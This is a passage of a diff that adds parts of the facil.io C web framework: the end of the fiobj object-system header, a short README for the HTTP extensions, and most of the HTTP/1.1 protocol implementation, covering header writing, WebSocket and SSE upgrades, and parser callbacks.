+  if (FIOBJECT2VTBL(o)->each && FIOBJECT2VTBL(o)->count(o))
+    fiobj_free_complex_object(o);
+  else
+    FIOBJECT2VTBL(o)->dealloc(o, NULL, NULL);
+}
+
+/**
+ * Tests if an object evaluates as TRUE.
+ *
+ * This is object type specific. For example, empty strings might evaluate as
+ * FALSE, even though they aren't a boolean type.
+ */
+FIO_INLINE int fiobj_is_true(const FIOBJ o) {
+  if (o & FIOBJECT_NUMBER_FLAG)
+    return ((uintptr_t)o >> 1) != 0;
+  if ((o & FIOBJECT_PRIMITIVE_FLAG) == FIOBJECT_PRIMITIVE_FLAG)
+    return o == FIOBJ_T_TRUE;
+  return (int)(FIOBJECT2VTBL(o)->is_true(o));
+}
+
+/**
+ * Returns an object's numerical value.
+ *
+ * If a String or Symbol are passed to the function, they will be
+ * parsed assuming base 10 numerical data.
+ *
+ * Hashes and Arrays return their object count.
+ *
+ * IO and File objects return their underlying file descriptor.
+ *
+ * A type error results in 0.
+ */
+FIO_INLINE intptr_t fiobj_obj2num(const FIOBJ o) {
+  if (o & FIOBJECT_NUMBER_FLAG) {
+    const uintptr_t sign =
+        (o & FIOBJ_NUMBER_SIGN_BIT)
+            ? (FIOBJ_NUMBER_SIGN_BIT | FIOBJ_NUMBER_SIGN_EXCLUDE_BIT)
+            : 0;
+    return (intptr_t)(((o & FIOBJ_NUMBER_SIGN_MASK) >> 1) | sign);
+  }
+  if (!o || !FIOBJ_IS_ALLOCATED(o))
+    return o == FIOBJ_T_TRUE;
+  return FIOBJECT2VTBL(o)->to_i(o);
+}
+
+/** Converts a number to a temporary, thread safe, C string object */
+fio_str_info_s fio_ltocstr(long);
+
+/** Converts a float to a temporary, thread safe, C string object */
+fio_str_info_s fio_ftocstr(double);
+
+/**
+ * Returns a C String (NUL terminated) using the `fio_str_info_s` data type.
+ *
+ * The Sting in binary safe and might contain NUL bytes in the middle as well as
+ * a terminating NUL.
+ *
+ * If a a Number or a Float are passed to the function, they
+ * will be parsed as a *temporary*, thread-safe, String.
+ *
+ * Numbers will be represented in base 10 numerical data.
+ *
+ * A type error results in NULL (i.e. object isn't a String).
+ */
+FIO_INLINE fio_str_info_s fiobj_obj2cstr(const FIOBJ o) {
+  if (!o) {
+    fio_str_info_s ret = {0, 4, (char *)"null"};
+    return ret;
+  }
+  if (o & FIOBJECT_NUMBER_FLAG)
+    return fio_ltocstr(((intptr_t)o) >> 1);
+  if ((o & FIOBJECT_PRIMITIVE_FLAG) == FIOBJECT_PRIMITIVE_FLAG) {
+    switch ((fiobj_type_enum)o) {
+    case FIOBJ_T_NULL: {
+      fio_str_info_s ret = {0, 4, (char *)"null"};
+      return ret;
+    }
+    case FIOBJ_T_FALSE: {
+      fio_str_info_s ret = {0, 5, (char *)"false"};
+      return ret;
+    }
+    case FIOBJ_T_TRUE: {
+      fio_str_info_s ret = {0, 4, (char *)"true"};
+      return ret;
+    }
+    default:
+      break;
+    }
+  }
+  return FIOBJECT2VTBL(o)->to_str(o);
+}
+
+/* referenced here */
+uint64_t fiobj_str_hash(FIOBJ o);
+/**
+ * Calculates an Objects's SipHash value for possible use as a HashMap key.
+ *
+ * The Object MUST answer to the fiobj_obj2cstr, or the result is unusable. In
+ * other words, Hash Objects and Arrays can NOT be used for Hash keys.
+ */
+FIO_INLINE uint64_t fiobj_obj2hash(const FIOBJ o) {
+  if (FIOBJ_TYPE_IS(o, FIOBJ_T_STRING))
+    return fiobj_str_hash(o);
+  if (!FIOBJ_IS_ALLOCATED(o))
+    return (uint64_t)o;
+  fio_str_info_s s = fiobj_obj2cstr(o);
+  return FIO_HASH_FN(s.data, s.len, &fiobj_each2, &fiobj_free_complex_object);
+}
+
+FIO_INLINE uint64_t fiobj_hash_string(const void *data, size_t len) {
+  return FIO_HASH_FN(data, len, &fiobj_each2, &fiobj_free_complex_object);
+}
+
+/**
+ * Returns a Float's value.
+ *
+ * If a String or Symbol are passed to the function, they will be
+ * parsed assuming base 10 numerical data.
+ *
+ * Hashes and Arrays return their object count.
+ *
+ * IO and File objects return their underlying file descriptor.
+ *
+ * A type error results in 0.
+ */
+FIO_INLINE double fiobj_obj2float(const FIOBJ o) {
+  if (o & FIOBJECT_NUMBER_FLAG)
+    return (double)(fiobj_obj2num(o));
+  if (!o || (o & FIOBJECT_PRIMITIVE_FLAG) == FIOBJECT_PRIMITIVE_FLAG)
+    return (double)(o == FIOBJ_T_TRUE);
+  return FIOBJECT2VTBL(o)->to_f(o);
+}
+
+/** used internally for complext nested tests (Array / Hash types) */
+int fiobj_iseq____internal_complex__(FIOBJ o, FIOBJ o2);
+/**
+ * Deeply compare two objects. No hashing or recursive function calls are
+ * involved.
+ *
+ * Uses a similar algorithm to `fiobj_each2`, except adjusted to two objects.
+ *
+ * Hash order will be tested when comapring Hashes.
+ *
+ * KNOWN ISSUES:
+ *
+ * * Temporarily broken for collections (Arrays / Hashes).
+ *
+ * * Hash order will be tested as well as the Hash content, which means that
+ * equal Hashes might be considered unequal if their order doesn't match.
+ *
+ * Returns 1 if true and 0 if false.
+ */
+FIO_INLINE int fiobj_iseq(const FIOBJ o, const FIOBJ o2) {
+  if (o == o2)
+    return 1;
+  if (!o || !o2)
+    return 0; /* they should have compared equal before. */
+  if (!FIOBJ_IS_ALLOCATED(o) || !FIOBJ_IS_ALLOCATED(o2))
+    return 0; /* they should have compared equal before. */
+  if (FIOBJECT2HEAD(o)->type != FIOBJECT2HEAD(o2)->type)
+    return 0; /* non-type equality is a barriar to equality. */
+  if (!FIOBJECT2VTBL(o)->is_eq(o, o2))
+    return 0;
+  if (FIOBJECT2VTBL(o)->each && FIOBJECT2VTBL(o)->count(o))
+    return fiobj_iseq____internal_complex__((FIOBJ)o, (FIOBJ)o2);
+  return 1;
+}
+
+/**
+ * Single layer iteration using a callback for each nested fio object.
+ *
+ * Accepts any `FIOBJ ` type but only collections (Arrays and Hashes) are
+ * processed. The container itself (the Array or the Hash) is **not** processed
+ * (unlike `fiobj_each2`).
+ *
+ * The callback task function must accept an object and an opaque user pointer.
+ *
+ * Hash objects pass along a `FIOBJ_T_COUPLET` object, containing
+ * references for both the key and the object. Keys shouldn't be altered once
+ * placed as a key (or the Hash will break). Collections (Arrays / Hashes) can't
+ * be used as keeys.
+ *
+ * If the callback returns -1, the loop is broken. Any other value is ignored.
+ *
+ * Returns the "stop" position, i.e., the number of items processed + the
+ * starting point.
+ */
+FIO_INLINE size_t fiobj_each1(FIOBJ o, size_t start_at,
+                              int (*task)(FIOBJ obj, void *arg), void *arg) {
+  if (FIOBJ_IS_ALLOCATED(o) && FIOBJECT2VTBL(o)->each)
+    return FIOBJECT2VTBL(o)->each(o, start_at, task, arg);
+  return 0;
+}
+
+#if DEBUG
+void fiobj_test_core(void);
+#endif
+
+#ifdef __cplusplus
+} /* closing brace for extern "C" */
+#endif
+#endif

facil.io/lib/facil/http/README.md

@@ -0,0 +1,5 @@
+# The HTTP / WebSocket extensions.
+
+These are extensions that allow facil.io to easily implement HTTP and WebSocket services. For more details, visit [facil.io's website](http://facil.io).
+
+**Notice**: these extensions requires the core facil.io library (`fio.h` and `fio.c`) and it's `FIOBJ` soft type system (the `fiobj` folder, included through `fiobj.h`).

facil.io/lib/facil/http/http1.c

@@ -0,0 +1,909 @@
+/*
+Copyright: Boaz Segev, 2017-2019
+License: MIT
+*/
+#include <fio.h>
+
+#include <http1.h>
+#include <http1_parser.h>
+#include <http_internal.h>
+#include <websockets.h>
+
+#include <fiobj.h>
+
+#include <assert.h>
+#include <stddef.h>
+
+/* *****************************************************************************
+The HTTP/1.1 Protocol Object
+***************************************************************************** */
+
+typedef struct http1pr_s {
+  http_fio_protocol_s p;
+  http1_parser_s parser;
+  http_s request;
+  uintptr_t buf_len;
+  uintptr_t max_header_size;
+  uintptr_t header_size;
+  uint8_t close;
+  uint8_t is_client;
+  uint8_t stop;
+  uint8_t buf[];
+} http1pr_s;
+
+struct http_vtable_s HTTP1_VTABLE; /* initialized later on */
+
+/* *****************************************************************************
+Internal Helpers
+***************************************************************************** */
+
+#define parser2http(x)                                                         \
+  ((http1pr_s *)((uintptr_t)(x) - (uintptr_t)(&((http1pr_s *)0)->parser)))
+
+inline static void h1_reset(http1pr_s *p) { p->header_size = 0; }
+
+#define http1_pr2handle(pr) (((http1pr_s *)(pr))->request)
+#define handle2pr(h) ((http1pr_s *)h->private_data.flag)
+
+static fio_str_info_s http1pr_status2str(uintptr_t status);
+
+/* cleanup an HTTP/1.1 handler object */
+static inline void http1_after_finish(http_s *h) {
+  http1pr_s *p = handle2pr(h);
+  p->stop = p->stop & (~1UL);
+  if (h != &p->request) {
+    http_s_destroy(h, 0);
+    fio_free(h);
+  } else {
+    http_s_clear(h, p->p.settings->log);
+  }
+  if (p->close)
+    fio_close(p->p.uuid);
+}
+
+/* *****************************************************************************
+HTTP Request / Response (Virtual) Functions
+***************************************************************************** */
+struct header_writer_s {
+  FIOBJ dest;
+  FIOBJ name;
+  FIOBJ value;
+};
+
+static int write_header(FIOBJ o, void *w_) {
+  struct header_writer_s *w = w_;
+  if (!o)
+    return 0;
+  if (fiobj_hash_key_in_loop()) {
+    w->name = fiobj_hash_key_in_loop();
+  }
+  if (FIOBJ_TYPE_IS(o, FIOBJ_T_ARRAY)) {
+    fiobj_each1(o, 0, write_header, w);
+    return 0;
+  }
+  fio_str_info_s name = fiobj_obj2cstr(w->name);
+  fio_str_info_s str = fiobj_obj2cstr(o);
+  if (!str.data)
+    return 0;
+  // fiobj_str_capa_assert(w->dest,
+  //                       fiobj_obj2cstr(w->dest).len + name.len + str.len +
+  //                       5);
+  fiobj_str_write(w->dest, name.data, name.len);
+  fiobj_str_write(w->dest, ":", 1);
+  fiobj_str_write(w->dest, str.data, str.len);
+  fiobj_str_write(w->dest, "\r\n", 2);
+  return 0;
+}
+
+static FIOBJ headers2str(http_s *h, uintptr_t padding) {
+  if (!h->method && !!h->status_str)
+    return FIOBJ_INVALID;
+
+  static uintptr_t connection_hash;
+  if (!connection_hash)
+    connection_hash = fiobj_hash_string("connection", 10);
+
+  struct header_writer_s w;
+  {
+    const uintptr_t header_length_guess =
+        fiobj_hash_count(h->private_data.out_headers) * 64;
+    w.dest = fiobj_str_buf(header_length_guess + padding);
+  }
+  http1pr_s *p = handle2pr(h);
+
+  if (p->is_client == 0) {
+    fio_str_info_s t = http1pr_status2str(h->status);
+    fiobj_str_write(w.dest, t.data, t.len);
+    FIOBJ tmp = fiobj_hash_get2(h->private_data.out_headers, connection_hash);
+    if (tmp) {
+      t = fiobj_obj2cstr(tmp);
+      if (t.data[0] == 'c' || t.data[0] == 'C')
+        p->close = 1;
+    } else {
+      tmp = fiobj_hash_get2(h->headers, connection_hash);
+      if (tmp) {
+        t = fiobj_obj2cstr(tmp);
+        if (!t.data || !t.len || t.data[0] == 'k' || t.data[0] == 'K')
+          fiobj_str_write(w.dest, "connection:keep-alive\r\n", 23);
+        else {
+          fiobj_str_write(w.dest, "connection:close\r\n", 18);
+          p->close = 1;
+        }
+      } else {
+        t = fiobj_obj2cstr(h->version);
+        if (!p->close && t.len > 7 && t.data && t.data[5] == '1' &&
+            t.data[6] == '.' && t.data[7] == '1')
+          fiobj_str_write(w.dest, "connection:keep-alive\r\n", 23);
+        else {
+          fiobj_str_write(w.dest, "connection:close\r\n", 18);
+          p->close = 1;
+        }
+      }
+    }
+  } else {
+    if (h->method) {
+      fiobj_str_join(w.dest, h->method);
+      fiobj_str_write(w.dest, " ", 1);
+    } else {
+      fiobj_str_write(w.dest, "GET ", 4);
+    }
+    fiobj_str_join(w.dest, h->path);
+    if (h->query) {
+      fiobj_str_write(w.dest, "?", 1);
+      fiobj_str_join(w.dest, h->query);
+    }
+    fiobj_str_write(w.dest, " HTTP/1.1\r\n", 11);
+    /* make sure we have a host header? */
+    static uint64_t host_hash;
+    if (!host_hash)
+      host_hash = fiobj_hash_string("host", 4);
+    FIOBJ tmp;
+    if (!fiobj_hash_get2(h->private_data.out_headers, host_hash) &&
+        (tmp = fiobj_hash_get2(h->headers, host_hash))) {
+      fiobj_str_write(w.dest, "host:", 5);
+      fiobj_str_join(w.dest, tmp);
+      fiobj_str_write(w.dest, "\r\n", 2);
+    }
+    if (!fiobj_hash_get2(h->private_data.out_headers, connection_hash))
+      fiobj_str_write(w.dest, "connection:keep-alive\r\n", 23);
+  }
+
+  fiobj_each1(h->private_data.out_headers, 0, write_header, &w);
+  fiobj_str_write(w.dest, "\r\n", 2);
+  return w.dest;
+}
+
+/** Should send existing headers and data */
+static int http1_send_body(http_s *h, void *data, uintptr_t length) {
+
+  FIOBJ packet = headers2str(h, length);
+  if (!packet) {
+    http1_after_finish(h);
+    return -1;
+  }
+  fiobj_str_write(packet, data, length);
+  fiobj_send_free((handle2pr(h)->p.uuid), packet);
+  http1_after_finish(h);
+  return 0;
+}
+/** Should send existing headers and file */
+static int http1_sendfile(http_s *h, int fd, uintptr_t length,
+                          uintptr_t offset) {
+  FIOBJ packet = headers2str(h, 0);
+  if (!packet) {
+    close(fd);
+    http1_after_finish(h);
+    return -1;
+  }
+  if (length < HTTP_MAX_HEADER_LENGTH) {
+    /* optimize away small files */
+    fio_str_info_s s = fiobj_obj2cstr(packet);
+    fiobj_str_capa_assert(packet, s.len + length);
+    s = fiobj_obj2cstr(packet);
+    intptr_t i = pread(fd, s.data + s.len, length, offset);
+    if (i < 0) {
+      close(fd);
+      fiobj_send_free((handle2pr(h)->p.uuid), packet);
+      fio_close((handle2pr(h)->p.uuid));
+      return -1;
+    }
+    close(fd);
+    fiobj_str_resize(packet, s.len + i);
+    fiobj_send_free((handle2pr(h)->p.uuid), packet);
+    http1_after_finish(h);
+    return 0;
+  }
+  fiobj_send_free((handle2pr(h)->p.uuid), packet);
+  fio_sendfile((handle2pr(h)->p.uuid), fd, offset, length);
+  http1_after_finish(h);
+  return 0;
+}
+
+/** Should send existing headers or complete streaming */
+static void htt1p_finish(http_s *h) {
+  FIOBJ packet = headers2str(h, 0);
+  if (packet)
+    fiobj_send_free((handle2pr(h)->p.uuid), packet);
+  else {
+    // fprintf(stderr, "WARNING: invalid call to `htt1p_finish`\n");
+  }
+  http1_after_finish(h);
+}
+/** Push for data - unsupported. */
+static int http1_push_data(http_s *h, void *data, uintptr_t length,
+                           FIOBJ mime_type) {
+  return -1;
+  (void)h;
+  (void)data;
+  (void)length;
+  (void)mime_type;
+}
+/** Push for files - unsupported. */
+static int http1_push_file(http_s *h, FIOBJ filename, FIOBJ mime_type) {
+  return -1;
+  (void)h;
+  (void)filename;
+  (void)mime_type;
+}
+
+/**
+ * Called befor a pause task,
+ */
+static void http1_on_pause(http_s *h, http_fio_protocol_s *pr) {
+  ((http1pr_s *)pr)->stop = 1;
+  fio_suspend(pr->uuid);
+  (void)h;
+}
+
+/**
+ * called after the resume task had completed.
+ */
+static void http1_on_resume(http_s *h, http_fio_protocol_s *pr) {
+  if (!((http1pr_s *)pr)->stop) {
+    fio_force_event(pr->uuid, FIO_EVENT_ON_DATA);
+  }
+  (void)h;
+}
+
+static intptr_t http1_hijack(http_s *h, fio_str_info_s *leftover) {
+  if (leftover) {
+    intptr_t len =
+        handle2pr(h)->buf_len -
+        (intptr_t)(handle2pr(h)->parser.state.next - handle2pr(h)->buf);
+    if (len) {
+      *leftover = (fio_str_info_s){
+          .len = len, .data = (char *)handle2pr(h)->parser.state.next};
+    } else {
+      *leftover = (fio_str_info_s){.len = 0, .data = NULL};
+    }
+  }
+
+  handle2pr(h)->stop = 3;
+  intptr_t uuid = handle2pr(h)->p.uuid;
+  fio_attach(uuid, NULL);
+  return uuid;
+}
+
+/* *****************************************************************************
+Websockets Upgrading
+***************************************************************************** */
+
+static void http1_websocket_client_on_upgrade(http_s *h, char *proto,
+                                              size_t len) {
+  http1pr_s *p = handle2pr(h);
+  websocket_settings_s *args = h->udata;
+  const intptr_t uuid = handle2pr(h)->p.uuid;
+  http_settings_s *set = handle2pr(h)->p.settings;
+  set->udata = NULL;
+  http_finish(h);
+  p->stop = 1;
+  websocket_attach(uuid, set, args, p->parser.state.next,
+                   p->buf_len - (intptr_t)(p->parser.state.next - p->buf));
+  fio_free(args);
+  (void)proto;
+  (void)len;
+}
+static void http1_websocket_client_on_failed(http_s *h) {
+  websocket_settings_s *s = h->udata;
+  if (s->on_close)
+    s->on_close(0, s->udata);
+  fio_free(h->udata);
+  h->udata = http_settings(h)->udata = NULL;
+}
+static void http1_websocket_client_on_hangup(http_settings_s *settings) {
+  websocket_settings_s *s = settings->udata;
+  if (s) {
+    if (s->on_close)
+      s->on_close(0, s->udata);
+    fio_free(settings->udata);
+    settings->udata = NULL;
+  }
+}
+
+static int http1_http2websocket_server(http_s *h, websocket_settings_s *args) {
+  // A static data used for all websocket connections.
+  static char ws_key_accpt_str[] = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
+  static uintptr_t sec_version = 0;
+  static uintptr_t sec_key = 0;
+  if (!sec_version)
+    sec_version = fiobj_hash_string("sec-websocket-version", 21);
+  if (!sec_key)
+    sec_key = fiobj_hash_string("sec-websocket-key", 17);
+
+  FIOBJ tmp = fiobj_hash_get2(h->headers, sec_version);
+  if (!tmp)
+    goto bad_request;
+  fio_str_info_s stmp = fiobj_obj2cstr(tmp);
+  if (stmp.len != 2 || stmp.data[0] != '1' || stmp.data[1] != '3')
+    goto bad_request;
+
+  tmp = fiobj_hash_get2(h->headers, sec_key);
+  if (!tmp)
+    goto bad_request;
+  stmp = fiobj_obj2cstr(tmp);
+
+  fio_sha1_s sha1 = fio_sha1_init();
+  fio_sha1_write(&sha1, stmp.data, stmp.len);
+  fio_sha1_write(&sha1, ws_key_accpt_str, sizeof(ws_key_accpt_str) - 1);
+  tmp = fiobj_str_buf(32);
+  stmp = fiobj_obj2cstr(tmp);
+  fiobj_str_resize(tmp,
+                   fio_base64_encode(stmp.data, fio_sha1_result(&sha1), 20));
+  http_set_header(h, HTTP_HEADER_CONNECTION, fiobj_dup(HTTP_HVALUE_WS_UPGRADE));
+  http_set_header(h, HTTP_HEADER_UPGRADE, fiobj_dup(HTTP_HVALUE_WEBSOCKET));
+  http_set_header(h, HTTP_HEADER_WS_SEC_KEY, tmp);
+  h->status = 101;
+  http1pr_s *pr = handle2pr(h);
+  const intptr_t uuid = handle2pr(h)->p.uuid;
+  http_settings_s *set = handle2pr(h)->p.settings;
+  http_finish(h);
+  pr->stop = 1;
+  websocket_attach(uuid, set, args, pr->parser.state.next,
+                   pr->buf_len - (intptr_t)(pr->parser.state.next - pr->buf));
+  return 0;
+bad_request:
+  http_send_error(h, 400);
+  if (args->on_close)
+    args->on_close(0, args->udata);
+  return -1;
+}
+
+static int http1_http2websocket_client(http_s *h, websocket_settings_s *args) {
+  http1pr_s *p = handle2pr(h);
+  /* We're done with the HTTP stage, so we call the `on_finish` */
+  if (p->p.settings->on_finish)
+    p->p.settings->on_finish(p->p.settings);
+  /* Copy the Websocket setting arguments to the HTTP settings `udata` */
+  p->p.settings->udata = fio_malloc(sizeof(*args));
+  ((websocket_settings_s *)(p->p.settings->udata))[0] = *args;
+  /* Set callbacks */
+  p->p.settings->on_finish = http1_websocket_client_on_hangup;   /* unknown */
+  p->p.settings->on_upgrade = http1_websocket_client_on_upgrade; /* sucess */
+  p->p.settings->on_response = http1_websocket_client_on_failed; /* failed */
+  p->p.settings->on_request = http1_websocket_client_on_failed;  /* failed */
+  /* Set headers */
+  http_set_header(h, HTTP_HEADER_CONNECTION, fiobj_dup(HTTP_HVALUE_WS_UPGRADE));
+  http_set_header(h, HTTP_HEADER_UPGRADE, fiobj_dup(HTTP_HVALUE_WEBSOCKET));
+  http_set_header(h, HTTP_HVALUE_WS_SEC_VERSION,
+                  fiobj_dup(HTTP_HVALUE_WS_VERSION));
+
+  /* we don't set the Origin header since we're not a browser... should we? */
+  // http_set_header(
+  //     h, HTTP_HEADER_ORIGIN,
+  //     fiobj_dup(fiobj_hash_get2(h->private_data.out_headers,
+  //                               fiobj_obj2hash(HTTP_HEADER_HOST))));
+
+  /* create nonce */
+  uint64_t key[2]; /* 16 bytes */
+  key[0] = (uintptr_t)h ^ (uint64_t)fio_last_tick().tv_sec;
+  key[1] = (uintptr_t)args->udata ^ (uint64_t)fio_last_tick().tv_nsec;
+  FIOBJ encoded = fiobj_str_buf(26); /* we need 24 really. */
+  fio_str_info_s tmp = fiobj_obj2cstr(encoded);
+  tmp.len = fio_base64_encode(tmp.data, (char *)key, 16);
+  fiobj_str_resize(encoded, tmp.len);
+  http_set_header(h, HTTP_HEADER_WS_SEC_CLIENT_KEY, encoded);
+  http_finish(h);
+  return 0;
+}
+
+static int http1_http2websocket(http_s *h, websocket_settings_s *args) {
+  assert(h);
+  http1pr_s *p = handle2pr(h);
+
+  if (p->is_client == 0) {
+    return http1_http2websocket_server(h, args);
+  }
+  return http1_http2websocket_client(h, args);
+}
+
+/* *****************************************************************************
+EventSource Support (SSE)
+***************************************************************************** */
+
+#undef http_upgrade2sse
+
+typedef struct {
+  fio_protocol_s p;
+  http_sse_internal_s *sse;
+} http1_sse_fio_protocol_s;
+
+static void http1_sse_on_ready(intptr_t uuid, fio_protocol_s *p_) {
+  http1_sse_fio_protocol_s *p = (http1_sse_fio_protocol_s *)p_;
+  if (p->sse->sse.on_ready)
+    p->sse->sse.on_ready(&p->sse->sse);
+  (void)uuid;
+}
+static uint8_t http1_sse_on_shutdown(intptr_t uuid, fio_protocol_s *p_) {
+  http1_sse_fio_protocol_s *p = (http1_sse_fio_protocol_s *)p_;
+  if (p->sse->sse.on_shutdown)
+    p->sse->sse.on_shutdown(&p->sse->sse);
+  return 0;
+  (void)uuid;
+}
+static void http1_sse_on_close(intptr_t uuid, fio_protocol_s *p_) {
+  http1_sse_fio_protocol_s *p = (http1_sse_fio_protocol_s *)p_;
+  http_sse_destroy(p->sse);
+  fio_free(p);
+  (void)uuid;
+}
+static void http1_sse_ping(intptr_t uuid, fio_protocol_s *p_) {
+  fio_write2(uuid, .data.buffer = ": ping\n\n", .length = 8,
+             .after.dealloc = FIO_DEALLOC_NOOP);
+  (void)p_;
+}
+
+/**
+ * Upgrades an HTTP connection to an EventSource (SSE) connection.
+ *
+ * Thie `http_s` handle will be invalid after this call.
+ *
+ * On HTTP/1.1 connections, this will preclude future requests using the same
+ * connection.
+ */
+static int http1_upgrade2sse(http_s *h, http_sse_s *sse) {
+  const intptr_t uuid = handle2pr(h)->p.uuid;
+  /* send response */
+  h->status = 200;
+  http_set_header(h, HTTP_HEADER_CONTENT_TYPE, fiobj_dup(HTTP_HVALUE_SSE_MIME));
+  http_set_header(h, HTTP_HEADER_CACHE_CONTROL,
+                  fiobj_dup(HTTP_HVALUE_NO_CACHE));
+  http_set_header(h, HTTP_HEADER_CONTENT_ENCODING,
+                  fiobj_str_new("identity", 8));
+  handle2pr(h)->stop = 1;
+  htt1p_finish(h); /* avoid the enforced content length in http_finish */
+
+  /* switch protocol to SSE */
+  http1_sse_fio_protocol_s *sse_pr = fio_malloc(sizeof(*sse_pr));
+  if (!sse_pr)
+    goto failed;
+  *sse_pr = (http1_sse_fio_protocol_s){
+      .p =
+          {
+              .on_ready = http1_sse_on_ready,
+              .on_shutdown = http1_sse_on_shutdown,
+              .on_close = http1_sse_on_close,
+              .ping = http1_sse_ping,
+          },
+      .sse = fio_malloc(sizeof(*(sse_pr->sse))),
+  };
+
+  if (!sse_pr->sse)
+    goto failed;
+
+  http_sse_init(sse_pr->sse, uuid, &HTTP1_VTABLE, sse);
+  fio_timeout_set(uuid, handle2pr(h)->p.settings->ws_timeout);
+  if (sse->on_open)
+    sse->on_open(&sse_pr->sse->sse);
+  fio_attach(uuid, &sse_pr->p);
+  return 0;
+
+failed:
+  fio_close(handle2pr(h)->p.uuid);
+  if (sse->on_close)
+    sse->on_close(sse);
+  return -1;
+  (void)sse;
+}
+
+#undef http_sse_write
+/**
+ * Writes data to an EventSource (SSE) connection.
+ *
+ * See the {struct http_sse_write_args} for possible named arguments.
+ */
+static int http1_sse_write(http_sse_s *sse, FIOBJ str) {
+  return fiobj_send_free(((http_sse_internal_s *)sse)->uuid, str);
+}
+
+/**
+ * Closes an EventSource (SSE) connection.
+ */
+static int http1_sse_close(http_sse_s *sse) {
+  fio_close(((http_sse_internal_s *)sse)->uuid);
+  return 0;
+}
+/* *****************************************************************************
+Virtual Table Decleration
+***************************************************************************** */
+
+struct http_vtable_s HTTP1_VTABLE = {
+    .http_send_body = http1_send_body,
+    .http_sendfile = http1_sendfile,
+    .http_finish = htt1p_finish,
+    .http_push_data = http1_push_data,
+    .http_push_file = http1_push_file,
+    .http_on_pause = http1_on_pause,
+    .http_on_resume = http1_on_resume,
+    .http_hijack = http1_hijack,
+    .http2websocket = http1_http2websocket,
+    .http_upgrade2sse = http1_upgrade2sse,
+    .http_sse_write = http1_sse_write,
+    .http_sse_close = http1_sse_close,
+};
+
+void *http1_vtable(void) { return (void *)&HTTP1_VTABLE; }
+
+/* *****************************************************************************
+Parser Callbacks
+***************************************************************************** */
+
+/** called when a request was received. */
+static int http1_on_request(http1_parser_s *parser) {
+  http1pr_s *p = parser2http(parser);
+  http_on_request_handler______internal(&http1_pr2handle(p), p->p.settings);
+  if (p->request.method && !p->stop)
+    http_finish(&p->request);
+  h1_reset(p);
+  return fio_is_closed(p->p.uuid);
+}
+/** called when a response was received. */
+static int http1_on_response(http1_parser_s *parser) {
+  http1pr_s *p = parser2http(parser);
+  http_on_response_handler______internal(&http1_pr2handle(p), p->p.settings);
+  if (p->request.status_str && !p->stop)
+    http_finish(&p->request);
+  h1_reset(p);
+  return fio_is_closed(p->p.uuid);
+}
+/** called when a request method is parsed. */
+static int http1_on_method(http1_parser_s *parser, char *method,
+                           size_t method_len) {
+  http1_pr2handle(parser2http(parser)).method =
+      fiobj_str_new(method, method_len);
+  parser2http(parser)->header_size += method_len;
+  return 0;
+}
+
+/** called when a response status is parsed. the status_str is the string
+ * without the prefixed numerical status indicator.*/
+static int http1_on_status(http1_parser_s *parser, size_t status,
+                           char *status_str, size_t len) {
+  http1_pr2handle(parser2http(parser)).status_str =
+      fiobj_str_new(status_str, len);
+  http1_pr2handle(parser2http(parser)).status = status;
+  parser2http(parser)->header_size += len;
+  return 0;
+}
+
+/** called when a request path (excluding query) is parsed. */
+static int http1_on_path(http1_parser_s *parser, char *path, size_t len) {
+  http1_pr2handle(parser2http(parser)).path = fiobj_str_new(path, len);
+  parser2http(parser)->header_size += len;
+  return 0;
+}
+
+/** called when a request path (excluding query) is parsed. */
+static int http1_on_query(http1_parser_s *parser, char *query, size_t len) {
+  http1_pr2handle(parser2http(parser)).query = fiobj_str_new(query, len);
+  parser2http(parser)->header_size += len;
+  return 0;
+}
+/** called when a the HTTP/1.x version is parsed. */
+static int http1_on_version(http1_parser_s *parser, char *version, size_t len) {
+  http1_pr2handle(parser2http(parser)).version = fiobj_str_new(version, len);
+  parser2http(parser)->header_size += len;
+/* start counting - occurs on the first line of both requests and responses */
+#if FIO_HTTP_EXACT_LOGGING
+  clock_gettime(CLOCK_REALTIME,
+                &http1_pr2handle(parser2http(parser)).received_at);
+#else
+  http1_pr2handle(parser2http(parser)).received_at = fio_last_tick();
+#endif
+  return 0;
+}
+/** called when a header is parsed. */
+static int http1_on_header(http1_parser_s *parser, char *name, size_t name_len,
+                           char *data, size_t data_len) {
+  FIOBJ sym;
+  FIOBJ obj;
+  if (!http1_pr2handle(parser2http(parser)).headers) {
+    FIO_LOG_ERROR("(http1 parse ordering error) missing HashMap for header "
+                  "%s: %s",
+                  name, data);
+    http_send_error2(500, parser2http(parser)->p.uuid,
+                     parser2http(parser)->p.settings);
+    return -1;
+  }
+  parser2http(parser)->header_size += name_len + data_len;
+  if (parser2http(parser)->header_size >=
+          parser2http(parser)->max_header_size ||
+      fiobj_hash_count(http1_pr2handle(parser2http(parser)).headers) >
+          HTTP_MAX_HEADER_COUNT) {
+    if (parser2http(parser)->p.settings->log) {
+      FIO_LOG_WARNING("(HTTP) security alert - header flood detected.");
+    }
+    http_send_error(&http1_pr2handle(parser2http(parser)), 413);
+    return -1;
+  }
+  sym = fiobj_str_new(name, name_len);
+  obj = fiobj_str_new(data, data_len);
+  set_header_add(http1_pr2handle(parser2http(parser)).headers, sym, obj);
+  fiobj_free(sym);
+  return 0;
+}
+/** called when a body chunk is parsed. */
+static int http1_on_body_chunk(http1_parser_s *parser, char *data,
+                               size_t data_len) {
+  if (parser->state.content_length >
+          (ssize_t)parser2http(parser)->p.settings->max_body_size ||
+      parser->state.read >
+          (ssize_t)parser2http(parser)->p.settings->max_body_size) {
+    http_send_error(&http1_pr2handle(parser2http(parser)), 413);
+    return -1; /* test every time, in case of chunked data */
+  }
+  if (!parser->state.read) {
+    if (parser->state.content_length > 0 &&
+        parser->state.content_length <= HTTP_MAX_HEADER_LENGTH) {
+      http1_pr2handle(parser2http(parser)).body = fiobj_data_newstr();
+    } else {
+      http1_pr2handle(parser2http(parser)).body = fiobj_data_newtmpfile();
+    }
+  }
+  fiobj_data_write(http1_pr2handle(parser2http(parser)).body, data, data_len);
+  return 0;
+}
+
+/** called when a protocol error occurred. */
+static int http1_on_error(http1_parser_s *parser) {
+  if (parser2http(parser)->close)
+    return -1;
+  FIO_LOG_DEBUG("HTTP parser error.");
+  fio_close(parser2http(parser)->p.uuid);
+  return -1;
+}
+
+/* *****************************************************************************
+Connection Callbacks
+***************************************************************************** */
+
+static inline void http1_consume_data(intptr_t uuid, http1pr_s *p) {
+  if (fio_pending(uuid) > 4) {
+    goto throttle;
+  }
+  ssize_t i = 0;
+  size_t org_len = p->buf_len;
+  int pipeline_limit = 8;
+  if (!p->buf_len)
+    return;
+  do {
